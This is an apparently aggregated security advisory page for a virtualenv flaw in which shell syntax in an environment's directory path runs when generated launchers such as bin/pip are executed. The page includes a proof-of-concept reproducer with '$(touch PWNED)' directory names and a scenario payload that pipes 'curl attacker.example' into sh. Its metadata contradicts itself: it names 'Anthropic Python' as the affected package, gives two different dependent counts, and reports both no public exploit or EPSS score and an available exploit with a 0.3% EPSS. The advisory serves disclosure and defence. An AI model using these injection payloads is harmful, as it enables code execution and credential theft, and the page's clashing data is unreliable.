CVE-2026-113722: virtualenv: shell injection in launcher path runs code

GHSA-c978-59m8-c77vHIGHCISA: ATTEND
Published October 21, 2026
CISO Take

virtualenv, the standard Python environment tool, writes POSIX console launchers (such as bin/pip) that don't safely quote the environment's path. If the destination path contains shell syntax like $(...) and has a space or is over 127 bytes, running the launcher executes that syntax as commands with the user's privileges. The flaw is local and needs user interaction: an attacker must influence the directory name, for example through a cloned repository or an automation pipeline that derives paths from untrusted input, and the user must then run the generated pip or script. The wide reach, 6,390 downstream dependents, makes it relevant to ML build and CI environments. Mitigating factors are that no exploit or Nuclei template is public, it isn't in CISA KEV, and no EPSS score is available yet. Upgrade to virtualenv 21.14.9, recreate existing environments, because upgrading alone doesn't repair launchers already written, and avoid building environments at paths derived from untrusted input. Note that a later pip install or upgrade can write a vulnerable launcher again.

Sources:NVDGitHub AdvisoryATLAS

What is the risk?

Rated high (CVSS 7.8, AV:L/AC:L/PR:N/UI:R) with full confidentiality, integrity and availability impact on the executing user's context. Exploitation is easy once an attacker controls a directory name, but it needs user interaction (running a launcher) and a path-influence precondition, which keeps real-world likelihood moderate. There is no known active exploitation, no KEV listing, no public exploit and no EPSS data. The vulnerability is general Python tooling and is not specific to AI/ML. Exposure is highest where ML teams or automation create environments from repository names, user-supplied project names or CI workspace paths. Running as a privileged or service account raises the impact.

How does the attack unfold?

Initial Access
Attacker influences the directory name or destination path used for a virtualenv, for example via a cloned repository or externally derived project name.
AML.T0010.001
Staging
Environment creation writes a /bin/sh launcher with an unescaped interpreter path containing shell expansion syntax; nothing runs yet.
Execution
The user or a CI job runs the generated bin/pip or another console script, and the shell expands the embedded command substitution.
AML.T0011
Impact
Attacker commands run with the user's privileges, enabling theft of credentials, source code and model artifacts or further compromise of the host.
AML.T0050

What systems are affected?

PackageEcosystemVulnerable RangePatched
Anthropic Pythonpip< 21.14.921.14.9
4.0K5.4K dependentsPushed 8d ago93% patched~9d to patchFull package profile →

Do you use Anthropic Python? You're affected.

How severe is it?

CVSS 3.1
7.8 / 10
EPSS
0.3%
chance of exploitation in 30 days
Higher than 21% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
○CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVLocal
ACLow
PRNone
UIRequired
SUnchanged
CHigh
IHigh
AHigh

What should I do?

1 step
  1. 1) Upgrade virtualenv to 21.14.9 or later (fix in PR #3417). 2) Recreate existing environments with the fixed version, since upgrading virtualenv does not repair launchers already written. 3) After any pip install or upgrade inside an environment, treat the launchers as potentially vulnerable until pip ships its own fix, and avoid untrusted paths. 4) Create environments only at paths chosen by trusted users, and reject or sanitize shell metacharacters ($, backticks, quotes, backslashes) in directory names derived from external input. 5) Run CI and build jobs with least privilege and without long-lived secrets in their environment. 6) Detection: search bin/ scripts in environments for '#!/bin/sh' wrappers whose exec line contains $( or backticks, and alert on unexpected child processes spawned by pip or console-script launchers.

What does CISA's SSVC say?

DecisionAttend
Exploitationpoc
AutomatableNo
Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
A.6.2.6-AI system operation and monitoring
NIST AI RMF
MANAGE 2.3-Responses to previously unknown risks and mechanisms to supersede or deactivate AI systems
OWASP LLM Top 10
LLM03-Supply Chain

Frequently Asked Questions

What is CVE-2026-113722?

virtualenv, the standard Python environment tool, writes POSIX console launchers (such as bin/pip) that don't safely quote the environment's path. If the destination path contains shell syntax like $(...) and has a space or is over 127 bytes, running the launcher executes that syntax as commands with the user's privileges. The flaw is local and needs user interaction: an attacker must influence the directory name, for example through a cloned repository or an automation pipeline that derives paths from untrusted input, and the user must then run the generated pip or script. The wide reach, 6,390 downstream dependents, makes it relevant to ML build and CI environments. Mitigating factors are that no exploit or Nuclei template is public, it isn't in CISA KEV, and no EPSS score is available yet. Upgrade to virtualenv 21.14.9, recreate existing environments, because upgrading alone doesn't repair launchers already written, and avoid building environments at paths derived from untrusted input. Note that a later pip install or upgrade can write a vulnerable launcher again.

Is CVE-2026-113722 actively exploited?

No confirmed active exploitation of CVE-2026-113722 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-113722?

1) Upgrade virtualenv to 21.14.9 or later (fix in PR #3417). 2) Recreate existing environments with the fixed version, since upgrading virtualenv does not repair launchers already written. 3) After any pip install or upgrade inside an environment, treat the launchers as potentially vulnerable until pip ships its own fix, and avoid untrusted paths. 4) Create environments only at paths chosen by trusted users, and reject or sanitize shell metacharacters ($, backticks, quotes, backslashes) in directory names derived from external input. 5) Run CI and build jobs with least privilege and without long-lived secrets in their environment. 6) Detection: search bin/ scripts in environments for '#!/bin/sh' wrappers whose exec line contains $( or backticks, and alert on unexpected child processes spawned by pip or console-script launchers.

What systems are affected by CVE-2026-113722?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, CI/CD build environments, developer workstations and notebooks, model serving build pipelines.

What is the CVSS score for CVE-2026-113722?

CVE-2026-113722 has a CVSS v3.1 base score of 7.8 (HIGH). The EPSS exploitation probability is 0.29%.

What is the AI security impact?

Affected AI Architectures

training pipelinesCI/CD build environmentsdeveloper workstations and notebooksmodel serving build pipelines

MITRE ATLAS Techniques

AML.T0010.001AI Software
AML.T0011User Execution
AML.T0050Command and Scripting Interpreter

Compliance Controls Affected

ISO 42001: A.6.2.6
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM03

What are the technical details?

Original Advisory

## Summary A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper. ## Affected area POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path. ## Attacker-controlled input An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache. ## Affected code The relevant 21.14.8 source is in [ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py). ## Mechanism The app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`. It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path has a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like `'''exec' "<path>" "$0" "$@"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and activation do not trigger the shell payload. ## Reproduction and evidence The scanner created three environments: a control under `my -touch PWNED- project`, one under `my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was created without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the generated launcher, with the user's privileges, rather than during seeding. The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. [PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately. ## Attack sequence ```mermaid sequenceDiagram participant A as Destination supplier participant V as virtualenv seeder participant D as distlib ScriptMaker participant S as Generated bin/pip participant U as User A->>V: path contains $(touch PWNED) V->>D: pass interpreter path with incomplete shell quoting D->>S: write /bin/sh wrapper Note over V,S: no payload runs during creation or activation U->>S: pip --version S->>S: shell expands path and runs touch S-->>U: PWNED appears with user's privileges ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path WORK = Path("/tmp/repro-console-script") # The attacker's whole input: the name of a directory above the environment (a repository, a project folder). DIRECTORY_NAMES = { "CONTROL": "my -touch PWNED- project", "OBSERVED": "my $(touch PWNED) project", # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)", } shutil.rmtree(WORK, ignore_errors=True) pip_printed = {} created_by_pip = {} for label, name in DIRECTORY_NAMES.items(): # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory cwd = WORK / label / "cwd" venv = WORK / label / name / "venv" cwd.mkdir(parents=True) # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline) subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True) assert list(cwd.iterdir()) == [], "environment creation must not have created anything" # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True) pip_printed[label] = pip.stdout created_by_pip[label] = sorted(p.name for p in cwd.iterdir()) launcher = (venv / "bin" / "pip").read_text().splitlines() print(f"{label}: directory name {name!r}") print(f" bin/pip line 1: {launcher[0]}") print(f" bin/pip line 2: {launcher[1]}") print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}") print(f" files bin/pip created in the working directory: {created_by_pip[label]}") # check: a directory name is data; starting pip must run pip and nothing else control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == [] attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"] print("BUG" if control_ok and attack_ran else "OK") ``` ## Fix scope and remaining exposure PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's vendored distlib. A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip. The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are attributed to the reviewer. ## Impact Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8, `CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`, following the project's [generated-script precedent](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The vector assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are required; successful command execution can affect the user's data and processes. ## Versions tested The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9. ## Known mitigation Use an environment destination chosen by a trusted user. For older releases, avoid generating environments at destinations derived from untrusted input. ## Affected release - [x] The problem reproduces on virtualenv 21.14.8. ## Credits Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.

Exploitation Scenario

An attacker publishes or contributes a repository or project whose directory name includes a payload such as 'my $(curl attacker.example|sh) project'. An ML engineer or a CI job clones it, runs virtualenv in a subfolder, and installs dependencies. Environment creation shows nothing unusual, but the first run of the seeded bin/pip or another console script makes the shell expand the command substitution. The payload then runs with the user's privileges and can steal cloud credentials, API tokens or model artifacts from the workstation or build runner.

Weaknesses (CWE)

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

  • [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Timeline

Published
October 21, 2026
Last Modified
October 23, 2026
First Seen
October 22, 2026

Related Vulnerabilities